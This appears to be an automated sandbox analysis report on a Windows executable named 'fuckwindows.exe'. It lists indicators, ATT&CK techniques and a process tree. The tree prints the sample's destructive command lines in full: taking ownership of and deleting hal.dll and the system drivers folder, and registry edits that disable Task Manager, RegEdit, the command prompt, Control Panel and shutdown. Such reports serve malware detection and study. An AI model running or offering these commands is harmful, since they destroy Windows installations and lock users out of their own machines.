6b3063c244e8e32cc39e8d8d267f865fb943afbb92196db04cc272a2c68aaad5

Analysis

max time kernel
25s
max time network
89s
platform
windows10-2004_x64
resource
win10v2004-20240730-en
resource tags

arch:x64arch:x86image:win10v2004-20240730-enlocale:en-usos:windows10-2004-x64system
submitted
01-08-2024 20:55

Sharing

Copy URL

Twitter E-mail

Reason

Machine shutdown

Report Analysis Logs

General

Target

fuckwindows.exe
Size

1.2MB
MD5

7bbf03a8110563760b4f917582065eff
SHA1

7ccc7ba96720bd81a4a7ef59bd77c9dd49326653
SHA256

6b3063c244e8e32cc39e8d8d267f865fb943afbb92196db04cc272a2c68aaad5
SHA512

393644875afb67e88c4ee79e916bdeceb4bf4e188c1211f14a91626fbbd7f88f3c967aef84be86a8c455ea791c8ca2a51c619d49a343e66f341273037f5b7d7f
SSDEEP

24576:oQnZkrl1PGVuyhd9tBDgYW9sVTHzw9ulgUTYqwQ4co+y8BrVRHKV9OuVGawkU5dY:PTYYD4Hw

Score

8^/10

defense_evasion discovery evasion exploit ransomware

Malware Config

Signatures

Disables RegEdit via registry modification 1 IoCs

evasion

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-857544305-989156968-2929034274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	reg.exe

Disables Task Manager via registry modification
evasion

Possible privilege escalation attempt 3 IoCs

exploit

pid	Process
1152	takeown.exe
1492	icacls.exe
7360	takeown.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-857544305-989156968-2929034274-1000\Control Panel\International\Geo\Nation	fuckwindows.exe

Modifies file permissions 1 TTPs 3 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1492	icacls.exe
7360	takeown.exe
1152	takeown.exe

File and Directory Permissions Modification: Windows File and Directory Permissions Modification 1 TTPs
defense_evasion

Windows File and Directory Permissions Modification
T1222.001

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-857544305-989156968-2929034274-1000\Control Panel\Desktop\Wallpaper = "c:\\windows\\system32\\WindowsSecurityIcon.png"	reg.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-857544305-989156968-2929034274-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-857544305-989156968-2929034274-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-857544305-989156968-2929034274-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-857544305-989156968-2929034274-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-857544305-989156968-2929034274-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-857544305-989156968-2929034274-1000_Classes\Local Settings	explorer.exe
Key created	\REGISTRY\USER\S-1-5-21-857544305-989156968-2929034274-1000_Classes\Local Settings	explorer.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

pid	Process
2316	fuckwindows.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	1152	takeown.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2316 wrote to memory of 4152	2316	fuckwindows.exe	87
PID 2316 wrote to memory of 4152	2316	fuckwindows.exe	87
PID 2316 wrote to memory of 3840	2316	fuckwindows.exe	89
PID 2316 wrote to memory of 3840	2316	fuckwindows.exe	89
PID 2316 wrote to memory of 4204	2316	fuckwindows.exe	90
PID 2316 wrote to memory of 4204	2316	fuckwindows.exe	90
PID 2316 wrote to memory of 1900	2316	fuckwindows.exe	93
PID 2316 wrote to memory of 1900	2316	fuckwindows.exe	93
PID 2316 wrote to memory of 548	2316	fuckwindows.exe	95
PID 2316 wrote to memory of 548	2316	fuckwindows.exe	95
PID 2316 wrote to memory of 5024	2316	fuckwindows.exe	97
PID 2316 wrote to memory of 5024	2316	fuckwindows.exe	97
PID 2316 wrote to memory of 4164	2316	fuckwindows.exe	98
PID 2316 wrote to memory of 4164	2316	fuckwindows.exe	98
PID 2316 wrote to memory of 4232	2316	fuckwindows.exe	100
PID 2316 wrote to memory of 4232	2316	fuckwindows.exe	100
PID 2316 wrote to memory of 3832	2316	fuckwindows.exe	101
PID 2316 wrote to memory of 3832	2316	fuckwindows.exe	101
PID 4152 wrote to memory of 1152	4152	cmd.exe	105
PID 4152 wrote to memory of 1152	4152	cmd.exe	105
PID 4152 wrote to memory of 1492	4152	cmd.exe	106
PID 4152 wrote to memory of 1492	4152	cmd.exe	106
PID 2316 wrote to memory of 2620	2316	fuckwindows.exe	107
PID 2316 wrote to memory of 2620	2316	fuckwindows.exe	107
PID 2316 wrote to memory of 3420	2316	fuckwindows.exe	109
PID 2316 wrote to memory of 3420	2316	fuckwindows.exe	109
PID 2316 wrote to memory of 2952	2316	fuckwindows.exe	111
PID 2316 wrote to memory of 2952	2316	fuckwindows.exe	111
PID 2316 wrote to memory of 4812	2316	fuckwindows.exe	112
PID 2316 wrote to memory of 4812	2316	fuckwindows.exe	112
PID 2316 wrote to memory of 3092	2316	fuckwindows.exe	114
PID 2316 wrote to memory of 3092	2316	fuckwindows.exe	114
PID 2316 wrote to memory of 4692	2316	fuckwindows.exe	116
PID 2316 wrote to memory of 4692	2316	fuckwindows.exe	116
PID 2316 wrote to memory of 4636	2316	fuckwindows.exe	118
PID 2316 wrote to memory of 4636	2316	fuckwindows.exe	118
PID 2316 wrote to memory of 1092	2316	fuckwindows.exe	120
PID 2316 wrote to memory of 1092	2316	fuckwindows.exe	120
PID 2316 wrote to memory of 4872	2316	fuckwindows.exe	123
PID 2316 wrote to memory of 4872	2316	fuckwindows.exe	123
PID 2316 wrote to memory of 676	2316	fuckwindows.exe	125
PID 2316 wrote to memory of 676	2316	fuckwindows.exe	125
PID 2316 wrote to memory of 3740	2316	fuckwindows.exe	126
PID 2316 wrote to memory of 3740	2316	fuckwindows.exe	126
PID 2316 wrote to memory of 4964	2316	fuckwindows.exe	127
PID 2316 wrote to memory of 4964	2316	fuckwindows.exe	127
PID 2316 wrote to memory of 1844	2316	fuckwindows.exe	130
PID 2316 wrote to memory of 1844	2316	fuckwindows.exe	130
PID 2316 wrote to memory of 3244	2316	fuckwindows.exe	132
PID 2316 wrote to memory of 3244	2316	fuckwindows.exe	132
PID 2316 wrote to memory of 4280	2316	fuckwindows.exe	133
PID 2316 wrote to memory of 4280	2316	fuckwindows.exe	133
PID 2316 wrote to memory of 3660	2316	fuckwindows.exe	135
PID 2316 wrote to memory of 3660	2316	fuckwindows.exe	135
PID 2316 wrote to memory of 3248	2316	fuckwindows.exe	136
PID 2316 wrote to memory of 3248	2316	fuckwindows.exe	136
PID 2316 wrote to memory of 3204	2316	fuckwindows.exe	137
PID 2316 wrote to memory of 3204	2316	fuckwindows.exe	137
PID 2316 wrote to memory of 1564	2316	fuckwindows.exe	139
PID 2316 wrote to memory of 1564	2316	fuckwindows.exe	139
PID 2316 wrote to memory of 4284	2316	fuckwindows.exe	141
PID 2316 wrote to memory of 4284	2316	fuckwindows.exe	141
PID 2316 wrote to memory of 3948	2316	fuckwindows.exe	143
PID 2316 wrote to memory of 3948	2316	fuckwindows.exe	143

C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe
"C:\Users\Admin\AppData\Local\Temp\fuckwindows.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of WriteProcessMemory
PID:2316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\hal.dll" && icacls "c:\windows\system32\hal.dll" /grant Everyone:(F) && del /f "c:\windows\system32\hal.dll" && exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4152
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\hal.dll"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1152
- - C:\Windows\system32\icacls.exe
    icacls "c:\windows\system32\hal.dll" /grant Everyone:(F)
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1492
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "c:\windows\system32\WindowsSecurityIcon.png" /f
  2⤵
  - Sets desktop wallpaper using registry
  PID:3840
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
  2⤵
  PID:4204
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Policies\Microsoft\Windows\System" /v DisableCMD /t REG_DWORD /d 2 /f
  2⤵
  PID:1900
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\ActiveDesktop" /v NoChangingWallpaper /t REG_DWORD /d 1 /f
  2⤵
  PID:548
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoControlPanel /t REG_DWORD /d 1 /f
  2⤵
  PID:5024
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoClose /t REG_DWORD /d 1 /f
  2⤵
  PID:4164
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v NoRun /t REG_DWORD /d 1 /f
  2⤵
  PID:4232
- C:\Windows\System32\reg.exe
  "C:\Windows\System32\reg.exe" add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
  2⤵
  - Disables RegEdit via registry modification
  PID:3832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3420
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:2952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4636
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1092
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4872
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:676
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1844
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3244
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4280
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:3660
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:3248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3840
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:4596
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1588
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1788
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:4080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1684
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:4248
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2208
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  - Modifies registry class
  PID:1708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:3884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:1724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5192
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:5232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5276
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5836
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5912
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:5928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5952
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:5964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6136
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:5132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:548
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:3440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:2984
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4544
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6148
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6316
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:6360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6500
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6584
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6688
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6772
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6896
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6968
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7072
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:7096
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7152
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:4952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5868
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:5656
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:5664
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:864
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:6996
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7240
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7336
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:7432
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7448
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7536
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7616
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7700
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:7720
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7824
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7900
- C:\Windows\explorer.exe
  "C:\Windows\explorer.exe"
  2⤵
  PID:7932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:7972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:8020
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:8124
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /k takeown /f "c:\windows\system32\drivers\*" && icacls "c:\windows\system32\drivers\*" /grant Everyone:(F) && del /s /q /f "c:\windows\system32\drivers\*" && exit
  2⤵
  PID:8132
- - C:\Windows\system32\takeown.exe
    takeown /f "c:\windows\system32\drivers\*"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:7360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe"
  2⤵
  PID:8176
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wininit.exe
  2⤵
  PID:8184
- - C:\Windows\system32\wininit.exe
    "C:\Windows\system32\wininit.exe"
    3⤵
    PID:1672

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact